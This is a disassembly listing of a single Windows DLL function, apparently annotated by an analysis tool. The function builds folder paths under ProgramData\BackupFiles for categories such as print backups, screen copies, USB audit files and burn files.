Function at 0x180001cc0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x870
mov rax, qword [0x1801dc960]
xor rax, rsp
mov qword [rsp + 0x860], rax
mov rdi, qword [rsp + 0x8b0]
mov r12, rcx
mov ebp, r8d
mov rsi, rdx
lea rcx, [rsp + 0x21]
mov r8d, 0x207
xor edx, edx
mov ebx, r9d
mov byte [rsp + 0x20], 0
call fcn.1800f4fb0
lea rcx, [rsp + 0x651]
xor edx, edx
mov r8d, 0x207
mov byte [rsp + 0x650], 0
call fcn.1800f4fb0
lea rcx, [rsp + 0x441]
xor edx, edx
mov r8d, 0x207
mov byte [rsp + 0x440], 0
call fcn.1800f4fb0
lea rcx, [rsp + 0x231]
xor edx, edx
mov r8d, 0x207
mov byte [rsp + 0x230], 0
call fcn.1800f4fb0
lea rcx, [rsp + 0x230]
mov r8d, 3
mov rdx, rdi
call fcn.1800f4e00
lea rcx, [rsp + 0x230]
call fcn.180001150
test eax, eax
jne 0x180001dbe
lea rcx, [rsp + 0x440]
mov edx, 0x208
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea rdx, [rsp + 0x440]
lea rcx, [rsp + 0x230]
mov r8d, 3
call fcn.1800f4e00
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x230]
repne scasb al, byte [rdi]
mov rax, qword [str.ProgramData]
mov rcx, r12
mov qword [rdi - 1], rax
mov eax, dword [0x180151768]
mov dword [rdi + 7], eax
call fcn.1800011d0
xor edx, edx
nop dword [rax]
movzx ecx, byte [rsp + rdx + 0x230]
inc rdx
mov byte [rsp + rdx + 0x1f], cl
test cl, cl
jne 0x180001df0
test eax, eax
je 0x180001e1b
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x20]
repne scasb al, byte [rdi]
not rcx
mov byte [rsp + rcx + 0x1f], al
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x650]
repne scasb al, byte [rdi]
mov rax, qword [str.BackupFiles]
or rcx, 0xffffffffffffffff
mov qword [rdi - 1], rax
mov eax, dword [0x180151758]
lea rdx, [rsp + 0x650]
mov dword [rdi + 7], eax
movzx eax, byte [0x18015175c]
mov byte [rdi + 0xb], al
xor eax, eax
lea rdi, [rsp + 0x20]
repne scasb al, byte [rdi]
xor ecx, ecx
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x180001e60
lea rdx, [rsp + 0x20]
mov rcx, r12
call fcn.180001250
test eax, eax
jne 0x180001e8d
lea rdx, [rsp + 0x20]
mov rcx, r12
call fcn.180001280
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x20]
repne scasb al, byte [rdi]
lea rax, [rsp + 0x20]
not rcx
cmp byte [rcx + rax - 2], 0x5c
jne 0x180001eae
mov byte [rcx + rax - 2], 0
lea rax, [rsp + 0x20]
mov rdx, rsi
lea rcx, [rsp + 0x20]
sub rdx, rax
nop
movzx eax, byte [rcx]
inc rcx
mov byte [rdx + rcx - 1], al
test al, al
jne 0x180001ec0
cmp ebp, 0x400
jg 0x180001ffc
je 0x180001f87
cmp ebp, 0x100
je 0x180001f59
cmp ebp, 0x200
je 0x180001f2b
cmp ebp, 0x300
jne 0x1800020e8
xor eax, eax
mov rdi, rsi
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
mov rax, qword [str.PrintBackups]
mov qword [rdi - 1], rax
mov eax, dword [0x180151748]
mov dword [rdi + 7], eax
movzx eax, word [0x18015174c]
mov word [rdi + 0xb], ax
jmp 0x1800020e8
xor eax, eax
mov rdi, rsi
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
mov rax, qword [str.ScreenCopys]
mov qword [rdi - 1], rax
mov eax, dword [0x180151738]
mov dword [rdi + 7], eax
movzx eax, byte [0x18015173c]
mov byte [rdi + 0xb], al
jmp 0x1800020e8
xor eax, eax
mov rdi, rsi
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
mov rax, qword [str.RecordFiles]
mov qword [rdi - 1], rax
mov eax, dword [0x180151728]
mov dword [rdi + 7], eax
movzx eax, byte [0x18015172c]
mov byte [rdi + 0xb], al
jmp 0x1800020e8
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rsi
repne scasb al, byte [rdi]
sub ebx, 1
mov rax, qword [str.AuditFiles]
mov qword [rdi - 1], rax
mov eax, dword [0x180151718]
mov dword [rdi + 7], eax
je 0x1800020c9
sub ebx, 1
je 0x1800020a9
sub ebx, 1
je 0x180001fe1
cmp ebx, 1
jne 0x1800020e8
xor eax, eax
mov rdi, rsi
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
mov rax, qword [str.Rename]
mov qword [rdi - 1], rax
jmp 0x1800020e8
xor eax, eax
mov rdi, rsi
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
mov rax, qword [0x180151700]
mov qword [rdi - 1], rax
jmp 0x1800020e8
cmp ebp, 0x500
je 0x18000206b
cmp ebp, 0x600
je 0x18000203e
cmp ebp, 0x700
jne 0x1800020e8
xor eax, eax
mov rdi, rsi
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
mov rax, qword [str.SecFiles]
mov qword [rdi - 1], rax
movzx eax, word [0x1801516f8]
mov word [rdi + 7], ax
jmp 0x1800020e8
xor eax, eax
mov rdi, rsi
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
mov rax, qword [str.BurnFiles]
mov qword [rdi - 1], rax
movzx eax, word [0x1801516e8]
mov word [rdi + 7], ax
movzx eax, byte [0x1801516ea]
mov byte [rdi + 9], al
jmp 0x1800020e8
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rsi
repne scasb al, byte [rdi]
sub ebx, 1
mov rax, qword [str.UsbAuditFiles]
mov qword [rdi - 1], rax
mov eax, dword [0x1801516d8]
mov dword [rdi + 7], eax
movzx eax, word [0x1801516dc]
mov word [rdi + 0xb], ax
movzx eax, byte [0x1801516de]
mov byte [rdi + 0xd], al
je 0x1800020c9
cmp ebx, 1
jne 0x1800020e8
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rsi
repne scasb al, byte [rdi]
mov eax, dword [str.Cut]
mov dword [rdi - 1], eax
movzx eax, byte [0x1801516cc]
mov byte [rdi + 3], al
jmp 0x1800020e8
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rsi
repne scasb al, byte [rdi]
mov eax, dword [str.Copy]
mov dword [rdi - 1], eax
movzx eax, word [0x1801516c4]
mov word [rdi + 3], ax
mov rcx, qword [rsp + 0x860]
xor rcx, rsp
call fcn.1800f4f80
lea r11, [rsp + 0x870]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret